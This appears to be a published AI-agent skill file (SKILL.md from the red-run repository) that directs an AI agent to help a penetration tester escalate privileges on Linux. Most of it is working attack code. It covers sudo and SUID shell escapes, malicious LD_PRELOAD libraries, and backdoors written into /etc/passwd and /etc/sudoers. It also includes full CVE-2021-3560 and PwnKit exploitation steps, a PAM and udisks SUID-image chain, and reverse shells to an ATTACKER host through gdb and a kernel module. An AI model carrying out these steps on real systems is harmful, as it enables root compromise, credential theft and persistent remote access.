Agent skill

linux-sudo-suid-capabilities

Exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation.

Stars 126
Forks 14

Install this agent skill to your Project

npx add-skill https://github.com/blacklanternsecurity/red-run/tree/main/skills/privesc/linux-sudo-suid-capabilities

SKILL.md

Linux Sudo, SUID, and Capabilities Exploitation

You are helping a penetration tester exploit sudo misconfigurations, SUID/SGID binaries, and Linux capabilities for privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [linux-sudo-suid-capabilities] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Shell access on Linux target
  • At least one of: sudo permissions, SUID binary, binary with capabilities
  • Knowledge of target OS version (for CVE matching)

Step 1: Assess Sudo Configuration

If not already provided by linux-discovery, enumerate:

bash
sudo -l 2>/dev/null
sudo -V 2>/dev/null | head -1
cat /etc/doas.conf 2>/dev/null

Classify findings and proceed to the relevant subsection below.

Step 2: Sudo NOPASSWD Exploitation

GTFOBins Binaries

If sudo -l shows (root) NOPASSWD: /path/to/binary, check GTFOBins for the binary.

Common sudo escapes (highest priority):

bash
# Editors
sudo vim -c ':!bash'
sudo vi -c ':!bash'
sudo nano  # Ctrl+R → Ctrl+X → command

# Pagers
sudo less /etc/hosts    # then type: !bash
sudo more /etc/hosts    # then type: !bash
sudo man man            # then type: !bash

# Interpreters
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash"'
sudo ruby -e 'exec "/bin/bash"'
sudo lua -e 'os.execute("/bin/bash")'
sudo php -r 'system("/bin/bash");'
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# File utilities
sudo find /tmp -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo sed -n '1e exec bash 1>&0' /etc/hosts
sudo ed  # then type: !bash

# Archive utilities
sudo tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo zip /tmp/x.zip /tmp/x -T -TT 'bash #'

# Network tools
sudo ftp  # then type: !bash
sudo nmap --interactive  # (old nmap) then type: !sh
sudo mysql -e '\! bash'
sudo socat stdin exec:/bin/bash

# System tools
sudo env /bin/bash
sudo strace -o /dev/null /bin/bash
sudo ltrace -o /dev/null /bin/bash
sudo gdb -nx -ex '!bash' -ex quit
sudo taskset 1 /bin/bash

# File read/write (for credential theft if no shell escape)
sudo cat /etc/shadow
sudo tee /etc/passwd <<< 'root2:$1$salt$hash:0:0::/root:/bin/bash'
sudo cp /etc/shadow /tmp/shadow_copy
sudo dd if=/etc/shadow of=/tmp/shadow_copy

Sudo with Password (NOPASSWD not set)

If user has sudo access but needs a password, check for:

  • Known password from engagement state
  • Password reuse from other services
  • Sudo token reuse (see sudo_inject below)

Sudo with Specific Arguments

If sudo allows specific arguments (e.g., sudo /usr/bin/vim /etc/config):

  • Editor escape still works: sudo vim /etc/config:!bash
  • For restricted commands, check if argument injection is possible

Step 3: Sudo Environment Variable Abuse

LD_PRELOAD Injection

Prerequisite: sudo -l shows env_keep += LD_PRELOAD or SETENV: tag.

c
// preload.c — compile on target or transfer
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
bash
# Compile and exploit
gcc -fPIC -shared -o /tmp/preload.so preload.c -nostartfiles
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_binary>

LD_LIBRARY_PATH Injection

Prerequisite: sudo -l shows env_keep += LD_LIBRARY_PATH.

bash
# Find shared libraries used by the sudo-allowed binary
ldd /path/to/allowed_binary

# Create malicious library with same name
gcc -fPIC -shared -o /tmp/libfoo.so preload.c -nostartfiles

# Execute with hijacked library path
sudo LD_LIBRARY_PATH=/tmp /path/to/allowed_binary

PYTHONPATH / PERL5LIB Injection

Prerequisite: sudo -l shows SETENV: and binary calls Python/Perl.

bash
# Python library hijack
mkdir /tmp/pylib
cat > /tmp/pylib/os.py << 'EOF'
import subprocess
subprocess.call(["/bin/bash", "-p"])
EOF
sudo PYTHONPATH=/tmp/pylib /usr/bin/python_script.py

BASH_ENV Injection

Prerequisite: env_keep += BASH_ENV and command runs via bash.

bash
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > /tmp/evil.sh
sudo BASH_ENV=/tmp/evil.sh /path/to/allowed_command
/tmp/rootbash -p

Step 4: Sudo CVE Exploitation

CVE-2021-3156 (Baron Samedit) — Heap Overflow

Affected: sudo 1.8.2 through 1.9.5p1 (patched in 1.9.5p2).

MANDATORY — Verify before exploiting. Distro backports frequently patch sudo without changing the version string. Do NOT skip this step even if the version appears vulnerable.

bash
# Step 1: Check version
sudo -V | grep "Sudo version"

# Step 2: MANDATORY verification (does NOT exploit, just confirms)
sudoedit -s '\' $(python3 -c 'print("A"*65536)') 2>&1
# Vulnerable: segfault, memory corruption, "malloc(): corrupted..."
# Patched: "usage: sudoedit" error message
#
# If you see "usage:" → STOP. This build is patched. Do not waste time
# downloading or compiling exploits. Check CVE-2021-3560 (polkit) or
# other vectors instead.

If verification confirms vulnerability, proceed with exploitation. Public exploits exist per distribution — match the target OS and use the correct variant.

Exploit transfer — attackbox-first workflow: Targets often lack internet access (CTF, air-gapped labs). Never git clone on target. Instead:

  1. Download/compile exploit on attackbox for target architecture
  2. Transfer via SSH (SCP, SFTP, paramiko) or base64 encode/decode
  3. Alternatively, write exploit source as a heredoc and compile on target
bash
# Exploits (multiple variants by OS — download on ATTACKBOX first):
# https://github.com/blasty/CVE-2021-3156
# https://github.com/worawit/CVE-2021-3156

CVE-2019-14287 — User ID Bypass

Prerequisite: sudo -l shows (ALL, !root) /bin/bash or similar restriction excluding root.

bash
# The !root restriction can be bypassed with UID -1
sudo -u#-1 /bin/bash
sudo -u#4294967295 /bin/bash
# Both resolve to UID 0 (root)

Sudo Token Reuse (sudo_inject)

Prerequisite: ptrace_scope = 0, user has valid sudo session token.

bash
# Check ptrace scope
cat /proc/sys/kernel/yama/ptrace_scope  # Must be 0

# Check for sudo token files
ls -la /run/sudo/ts/$(whoami) 2>/dev/null || ls -la /var/run/sudo/ts/$(whoami) 2>/dev/null

# If sudo token exists and ptrace allows:
# https://github.com/nongiach/sudo_inject
# Creates invalid token → next sudo -i requires no password

CVE-2021-3560 — Polkit D-Bus Authentication Bypass

Affected: polkit < 0.117 (common on CentOS 8, RHEL 8, Ubuntu 20.04).

Creates a privileged user account by exploiting a race condition in polkitd's D-Bus message handling. When a D-Bus request is killed mid-flight (after polkitd starts processing but before it replies), polkitd treats the absent reply as "authorized."

Prerequisites:

bash
# All four must be true:
rpm -q polkit 2>/dev/null || dpkg -l policykit-1 2>/dev/null  # polkit < 0.117
rpm -q accountsservice 2>/dev/null || dpkg -l accountsservice 2>/dev/null  # installed
which dbus-send 2>/dev/null  # available
ps aux | grep polkit  # polkitd running

Phase 1 — Create privileged user via D-Bus race condition:

bash
NEW_USER="youruser"
NEW_FULLNAME="Your Name"

# Generate password hash for the new account
NEW_PASS='YourPassword123!'
HASH=$(openssl passwd -6 "$NEW_PASS" 2>/dev/null)

# Race loop: send CreateUser request and kill it mid-authorization
# int32:1 = administrator (wheel/sudo group)
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply /org/freedesktop/Accounts \
        org.freedesktop.Accounts.CreateUser \
        string:"$NEW_USER" string:"$NEW_FULLNAME" int32:1 &
    PID=$!
    # Timing is critical — 0.005s to 0.015s covers most systems
    # Start at 0.008s; adjust if needed
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null

    if id "$NEW_USER" &>/dev/null; then
        echo "[+] User created on attempt $i"
        break
    fi
done

# Verify user was created with admin group
id "$NEW_USER"

Phase 2 — Set password via D-Bus race condition:

bash
# Get the new user's D-Bus object path
USER_PATH=$(dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
    --print-reply /org/freedesktop/Accounts \
    org.freedesktop.Accounts.FindUserByName \
    string:"$NEW_USER" 2>/dev/null | grep "object path" | cut -d'"' -f2)

echo "[*] User D-Bus path: $USER_PATH"

# Same race condition to set password
for i in $(seq 1 100); do
    dbus-send --system --dest=org.freedesktop.Accounts --type=method_call \
        --print-reply "$USER_PATH" \
        org.freedesktop.Accounts.User.SetPassword \
        string:"$HASH" string:"" &
    PID=$!
    sleep 0.008s
    kill $PID 2>/dev/null
    wait $PID 2>/dev/null
done

Phase 3 — Verify and escalate:

bash
# Switch to new user and verify sudo
su - "$NEW_USER" -c "echo '$NEW_PASS' | sudo -S id"
# Expected: uid=0(root) gid=0(root) groups=0(root)

# Get root shell
su - "$NEW_USER"
# Then: sudo -i (or echo password | sudo -S bash)

Timing calibration: The sleep value (0.008s) is timing-dependent. If the exploit fails after 100 attempts:

  • Try 0.005s (faster systems, VMs with low latency)
  • Try 0.012s (slower systems, remote SSH)
  • Try 0.003s (very fast local systems)
  • Run multiple rounds with different timings

The race typically succeeds within 20-50 attempts on most systems. If user creation works but password setting fails (or vice versa), adjust timing for each phase independently.

Remote execution via SSH (paramiko/sshpass): When automating over SSH, write the exploit as a bash script, transfer it via SFTP or heredoc, then execute. The race condition timing works the same over SSH — the sleep and kill happen on the target, not the attackbox.

Troubleshooting:

  • Error org.freedesktop.Accounts.Error.PermissionDenied on every attempt → polkitd may be patched or not running. Check systemctl status polkit.
  • User created but not in wheel/sudo group → the int32:1 flag sets administrator. Verify with id username. If not admin, the race lost on the group assignment — delete user and retry.
  • Password not set (su fails) → the SetPassword race is harder to win. Try more attempts (200+) or different timing. Verify the hash is correct: grep username /etc/shadow.
  • dbus-send not found → install dbus package or check /usr/bin/gdbus as alternative.

CVE-2021-4034 (PwnKit) — pkexec Argument Handling

Affected: polkit pkexec < 0.120 (present on most Linux distros before Jan 2022).

pkexec mishandles argc=0 invocations, allowing arbitrary code execution as root through GCONV_PATH environment variable manipulation. Requires pkexec to have the SUID bit set (default on virtually all installations).

Verification:

bash
# Check pkexec is SUID
ls -la /usr/bin/pkexec
# Expected: -rwsr-xr-x root root

# Check polkit version
dpkg -l policykit-1 2>/dev/null || rpm -q polkit 2>/dev/null
# Vulnerable: < 0.120 (Debian/Ubuntu), < 0.120 (RHEL/CentOS)

Exploitation:

PwnKit requires staging files in a directory where the SUID process can execute shared libraries. /tmp is often mounted noexec on hardened systems.

bash
# Step 1: Find an exec-capable staging directory
# Try these in order — first writable+exec wins:
for d in /dev/shm /var/tmp /run/lock "$HOME" /opt; do
    mount | grep -q "$(df "$d" 2>/dev/null | tail -1 | awk '{print $1}').*noexec" && continue
    [ -w "$d" ] && echo "[+] $d is writable and exec-capable" && break
done

# Step 2: Stage exploit in the chosen directory
cd /dev/shm  # or whichever directory passed
mkdir -p pwnkit_work && cd pwnkit_work

Exploit transfer — attackbox-first workflow:

Public PwnKit exploits:

bash
# On ATTACKBOX: download and compile static binary
git clone https://github.com/ly4k/PwnKit /tmp/pwnkit
cd /tmp/pwnkit && make
# Or compile static: gcc -static -o pwnkit PwnKit.c

# Transfer to target
python3 -m http.server 8080 &
# On TARGET:
wget http://ATTACKBOX:8080/pwnkit -O /dev/shm/pwnkit_work/pwnkit
chmod +x /dev/shm/pwnkit_work/pwnkit
bash
# Step 3: Execute
cd /dev/shm/pwnkit_work
./pwnkit
# Expected: root shell
id
# uid=0(root) gid=0(root)

If /tmp is noexec: This is the most common PwnKit failure. The GCONV_PATH trick requires the exploit's shared library to be dlopen'd by pkexec (a SUID process). SUID processes ignore LD_PRELOAD, so the .so MUST be on an exec-capable filesystem. Use /dev/shm, /var/tmp, or a home directory instead. Never attempt LD_PRELOAD workarounds — they do not work with SUID binaries and risk destabilizing the target.

If no exec-capable writable directory exists: PwnKit is blocked. Return to orchestrator with assessment: blocked — no exec-capable staging directory for GCONV_PATH .so. The orchestrator may route to linux-kernel-exploits for DirtyCow/DirtyPipe or other vectors that don't require shared library loading.

Step 4b: PAM Environment Injection + Polkit Active Session Bypass

When linux-discovery reports user_readenv=1 in PAM config and polkit allow_active=yes on privileged actions, this chain escalates an SSH session to perform operations that normally require physical console presence.

How It Works

  1. pam_env.so with user_readenv=1 reads ~/.pam_environment during the auth stack — before pam_systemd.so runs in the session stack
  2. Injecting XDG_SEAT and XDG_VTNR tricks pam_systemd into registering the SSH session as a physical console session (Active=yes)
  3. Polkit policies with allow_active=yes now grant access without authentication
  4. udisksctl loop-setup + Filesystem.Resize/Check triggers a temporary mount via libblockdev at /tmp/blockdev.XXXXXX without nosuid flags
  5. A SUID root binary in the mounted filesystem executes with euid=0

Prerequisites

  • SSH access as any user
  • pam_env.so configured with user_readenv=1 (default on SUSE/openSUSE)
  • udisks2 + libblockdev installed (default on most desktop-oriented installs)
  • Polkit allow_active=yes on udisks2 loop-setup and filesystem operations
  • xfsprogs on attackbox (for building the XFS image)

Step 1: Verify PAM Configuration

bash
grep -r "user_readenv" /etc/pam.d/ 2>/dev/null
# Look for: pam_env.so user_readenv=1

If user_readenv=1 is NOT present, this technique does not apply.

Step 2: Inject Session Properties

bash
cat > ~/.pam_environment << 'EOF'
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
EOF

Disconnect the SSH session (exit), then reconnect. The new session will be registered as Active.

Step 3: Verify Active Session

bash
loginctl show-session "$XDG_SESSION_ID" | grep -E "Active|State|Seat"
# Expected: Active=yes, State=active, Seat=seat0

If Active=no, check that ~/.pam_environment was written correctly and that you fully disconnected and reconnected (not just opened a new channel on the same SSH connection).

Step 4: Build Malicious Filesystem Image (on attackbox)

Build an XFS image containing a SUID root bash binary. This requires root on the attackbox.

bash
# Get bash from target for glibc compatibility
scp user@TARGET:/bin/bash /tmp/target-bash

# Create XFS image
dd if=/dev/zero of=./suid.image bs=1M count=300
mkfs.xfs -f ./suid.image
mkdir -p /tmp/suid-mount
mount -t xfs ./suid.image /tmp/suid-mount
cp /tmp/target-bash /tmp/suid-mount/bash
chown root:root /tmp/suid-mount/bash
chmod 04555 /tmp/suid-mount/bash
umount /tmp/suid-mount

# Transfer to target
scp ./suid.image user@TARGET:~/suid.image

Step 5: Exploit UDisks2 Nosuid Mount Race

On target (with Active=yes session):

bash
# Kill gvfs-udisks2-volume-monitor if running (can interfere)
killall -KILL gvfs-udisks2-volume-monitor 2>/dev/null || true

# Create loop device (no auth prompt thanks to Active=yes)
udisksctl loop-setup --file ~/suid.image --no-user-interaction
# Note the device path (e.g., /dev/loop0)

# Start background catcher — races to exec SUID bash from temp mount
(while true; do
  for d in /tmp/blockdev*/; do
    [ -x "${d}bash" ] && exec "${d}bash" -p -c 'echo "[+] GOT ROOT"; id; exec bash -p'
  done
  sleep 0.01
done) &
CATCHER_PID=$!

# Trigger nosuid-less temporary mount via XFS resize
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Resize 0 'a{sv}'

# If Resize errors, try Check instead:
gdbus call --system \
  --dest org.freedesktop.UDisks2 \
  --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
  --method org.freedesktop.UDisks2.Filesystem.Check 'a{sv}'

# Wait and check
sleep 2
ls -la /tmp/blockdev*/bash 2>/dev/null

# Execute SUID bash directly if catcher didn't fire
/tmp/blockdev*/bash -p
# Expected: euid=0(root)

The -p flag is critical — without it, bash drops the elevated euid.

Troubleshooting

  • "Not authorized" from udisksctl: Active=yes didn't take effect. Verify with loginctl show-session. Ensure you fully disconnected and reconnected SSH.
  • Race doesn't land: The mount window is milliseconds. Retry 3-5 times. Kill the catcher (kill $CATCHER_PID), delete the loop device (udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction), and repeat from loop-setup.
  • Loop device is loop1/loop2: Adjust the gdbus object path to match (e.g., /org/freedesktop/UDisks2/block_devices/loop1).
  • No /tmp/blockdev appears*: libblockdev may use a different temp path. Check /proc/mounts while triggering Resize/Check. A compiled C catcher monitoring /proc/mounts in a tight loop is more reliable than the bash approach.
  • udisksctl not found: udisks2 not installed. This technique does not apply.

Cleanup

bash
rm ~/.pam_environment
kill $CATCHER_PID 2>/dev/null
udisksctl loop-delete --block-device /dev/loop0 --no-user-interaction 2>/dev/null
rm ~/suid.image

Step 5: SUID Binary Exploitation

Enumeration

bash
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null   # SGID

GTFOBins SUID Exploitation

Same escapes as sudo but binary runs as owner (usually root). Key difference: bash drops privileges unless -p flag is used.

bash
# If /usr/bin/python3 has SUID bit
/usr/bin/python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/find has SUID bit
/usr/bin/find . -exec /bin/bash -p \;

# If /usr/bin/vim has SUID bit
/usr/bin/vim -c ':py3 import os; os.execl("/bin/bash", "bash", "-p")'

# If /usr/bin/bash has SUID bit
/usr/bin/bash -p

# If /usr/bin/cp has SUID bit — overwrite /etc/passwd
# Generate password hash: openssl passwd -1 -salt xyz password123
# Add line: root2:$1$xyz$hashhere:0:0:root:/root:/bin/bash
/usr/bin/cp /tmp/modified_passwd /etc/passwd

Custom SUID Binary Analysis

For non-standard SUID binaries not in GTFOBins:

bash
# Analyze the binary
strings /path/to/suid_binary | grep -iE "system|exec|popen|/bin|/tmp"
strace /path/to/suid_binary 2>&1 | grep -E "exec|open|access"
ltrace /path/to/suid_binary 2>&1 | grep -E "system|exec|popen"

Exploitation patterns:

  1. Calls system() with relative path → PATH hijack:
bash
# If binary calls system("service apache2 restart")
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
  1. Loads shared object from writable path → .so injection:
bash
# Check for missing libraries
ldd /path/to/suid_binary | grep "not found"
# Or check RPATH/RUNPATH
readelf -d /path/to/suid_binary | grep -E "RPATH|RUNPATH"
c
// exploit.c — shared object with constructor
#include <stdlib.h>
void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
bash
gcc -fPIC -shared -o /path/to/missing_lib.so exploit.c
/path/to/suid_binary  # triggers library load → root shell
  1. Reads/writes files as root → read /etc/shadow or write /etc/passwd

SGID Exploitation

bash
# SGID binary runs with group of file owner
# If SGID binary belongs to 'shadow' group → read /etc/shadow
# If SGID binary belongs to 'docker' group → Docker socket access

# Impersonate group via Python SGID binary
python3 -c 'import os; os.setgid(42); os.system("/bin/bash")'  # 42 = shadow

Step 6: Linux Capabilities Exploitation

CAP_SETUID — Direct Root

bash
# Any binary with cap_setuid+ep → immediate root
# Python
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash"'

# Node.js
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

# Ruby
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'

# PHP
php -r 'posix_setuid(0); system("/bin/bash");'

# Custom C binary
# If gcc and cap_setuid binary available:
# Compile: int main(){setuid(0);setgid(0);system("/bin/bash -p");}

CAP_SETGID — Group Escalation

bash
# Impersonate shadow group to read /etc/shadow
python3 -c 'import os; os.setgid(42); os.system("cat /etc/shadow")'

# Impersonate root group
python3 -c 'import os; os.setgid(0); os.system("/bin/bash")'

CAP_DAC_OVERRIDE — Bypass Write Permissions

Binary can write to any file regardless of permissions.

python
# Append to /etc/sudoers
python3 -c '
f = open("/etc/sudoers", "a")
f.write("\nUSERNAME ALL=(ALL) NOPASSWD:ALL\n")
f.close()
'
python
# Overwrite /etc/passwd with root user
python3 -c '
import crypt
password = crypt.crypt("password123", "$6$salt")
line = f"root2:{password}:0:0:root:/root:/bin/bash\n"
with open("/etc/passwd", "a") as f:
    f.write(line)
'

CAP_DAC_READ_SEARCH — Read Any File

bash
# Read /etc/shadow directly
python3 -c 'print(open("/etc/shadow").read())'

# Read SSH private keys
python3 -c 'print(open("/root/.ssh/id_rsa").read())'

# Tar-based extraction (if tar has the capability)
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/

Container escape (shocker exploit): Binary with cap_dac_read_search can use open_by_handle_at() to access host filesystem from within a container. Use the shocker exploit C code.

CAP_SYS_ADMIN — Mount and Namespace Abuse

bash
# Mount host disk (container escape)
fdisk -l  # Find host disk
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
python
# Mount overlay to replace /etc/passwd
python3 -c '
from ctypes import CDLL
libc = CDLL("libc.so.6")
libc.mount.argtypes = [c_char_p, c_char_p, c_char_p, c_ulong, c_char_p]
libc.mount(b"/tmp/fake_passwd", b"/etc/passwd", b"none", 4096, b"rw")  # MS_BIND=4096
'

CAP_SYS_PTRACE — Process Injection

bash
# GDB injection into root process
gdb -p <root_pid>
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'")
(gdb) detach
(gdb) quit
python
# Python ptrace injection (shellcode into root process)
import ctypes, os, struct, signal

PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_CONT = 7

libc = ctypes.CDLL("libc.so.6")

# Find a root-owned process
pid = <target_root_pid>

# Attach, inject shellcode, set RIP, continue
libc.ptrace(PTRACE_ATTACH, pid, None, None)
os.waitpid(pid, 0)
# ... inject reverse shell shellcode at RIP ...
libc.ptrace(PTRACE_DETACH, pid, None, None)

CAP_SYS_MODULE — Kernel Module Loading

c
// reverse_shell.c — kernel module
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");

char *argv[] = {"/bin/bash", "-c",
    "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1", NULL};
static char *envp[] = {"HOME=/root", "PATH=/usr/bin:/bin", NULL};

static int __init shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit shell_exit(void) {}
module_init(shell_init);
module_exit(shell_exit);
makefile
# Makefile
obj-m += reverse_shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
bash
make
insmod reverse_shell.ko

CAP_CHOWN / CAP_FOWNER — Ownership and Permission Changes

bash
# CAP_CHOWN: take ownership of /etc/shadow
python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
cat /etc/shadow  # Now readable

# CAP_FOWNER: make /etc/shadow world-readable
python3 -c 'import os; os.chmod("/etc/shadow", 0o666)'
cat /etc/shadow

CAP_SETFCAP — Capability Chaining

Binary can set capabilities on other binaries. Chain to cap_setuid:

python
# Set cap_setuid on python3
python3 -c '
import ctypes
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p, ctypes.c_void_p]
cap = libcap.cap_from_text(b"cap_setuid+ep")
libcap.cap_set_file(b"/usr/bin/python3", cap)
'

# Then exploit cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

CAP_NET_RAW — Packet Sniffing

Not directly exploitable for privilege escalation but enables credential sniffing:

bash
# Sniff for credentials on the network
tcpdump -i any -A -s0 'port 80 or port 21 or port 25' 2>/dev/null | grep -iE "user|pass|login"

Step 7: Escalate or Pivot

Troubleshooting

SUID binary drops privileges (bash without -p)

Bash resets EUID to RUID when they differ. Always use bash -p or call setuid(0) before exec. For system() calls: the child shell also drops privileges — use execve() instead or system("/bin/bash -p").

LD_PRELOAD doesn't work with sudo

Check: (1) env_keep includes LD_PRELOAD in sudo config, (2) binary is not statically linked (file /path/to/binary), (3) binary is not running in secure mode (SUID binaries ignore LD_PRELOAD by default — only works via sudo).

getcap returns nothing

Some systems strip capabilities. Check if getcap is available and has read access to binary directories. Try cat /proc/<pid>/status | grep Cap for running processes.

Kernel rejects module loading

CAP_SYS_MODULE may be restricted by Secure Boot or module signing. Check cat /proc/sys/kernel/modules_disabled — if 1, module loading is disabled system-wide. No bypass without kernel exploit.

SUID binary is statically linked

Cannot use shared object injection or LD_PRELOAD. Focus on argument injection, environment variable abuse, or functionality-based exploitation (GTFOBins patterns).

PwnKit fails with GCONV errors

The staging directory is likely mounted noexec. Move all PwnKit files to an exec-capable directory (/dev/shm, /var/tmp, home directory). Check with: mount | grep "$(df /path 2>/dev/null | tail -1 | awk '{print $1}')" — if the output includes "noexec", that directory won't work. If no exec-capable directory is writable, PwnKit is blocked — return to orchestrator.

Expand your agent's capabilities with these related and highly-rated skills.

blacklanternsecurity/red-run

credential-recovery

Offline credential and file recovery with hashcat and john. Use when any skill captures hashes (NTLM, Kerberos TGS/AS-REP, shadow, MSCACHE2) or encrypted files (ZIP, Office, PDF, KeePass, SSH key, 7z, RAR). Trigger phrases: "recover this hash", "offline recovery", "john", "hashcat", "zip2john", "password-protected file". Do NOT use for online password attacks (spraying, brute force against services) — use password-spraying instead.

126 14
Explore
blacklanternsecurity/red-run

remote-access-enumeration

Enumeration of remote access services: FTP, SSH, RDP, VNC, and WinRM. Checks anonymous access, default credentials, version vulnerabilities, and authentication methods. Use after network-recon identifies remote access ports.

126 14
Explore
blacklanternsecurity/red-run

smb-enumeration

SMB share enumeration, access testing, password policy extraction, and content searching. Enumerates shares via null session, guest, and authenticated access. Covers share listing, per-share access testing, MANSPIDER content search, and SMB vulnerability detection (signing, EternalBlue). Use after network-recon identifies SMB ports (139/445).

126 14
Explore
blacklanternsecurity/red-run

infrastructure-enumeration

Enumeration of infrastructure services: DNS, SMTP, SNMP, IPMI, NFS, TFTP, RPC/MSRPC, and HTTP/HTTPS surface detection. Checks zone transfers, open relays, default community strings, cipher zero, NFS exports, and web technology fingerprinting. Use after network-recon identifies infrastructure ports.

126 14
Explore
blacklanternsecurity/red-run

network-recon

Network reconnaissance, host discovery, port scanning, and OS fingerprinting. Produces a port/service map that the orchestrator uses to route to service-specific enumeration skills.

126 14
Explore
blacklanternsecurity/red-run

container-escapes

Container escape, Docker breakout, and Kubernetes exploitation.

126 14
Explore

Didn't find tool you were looking for?

Be as detailed as possible for better results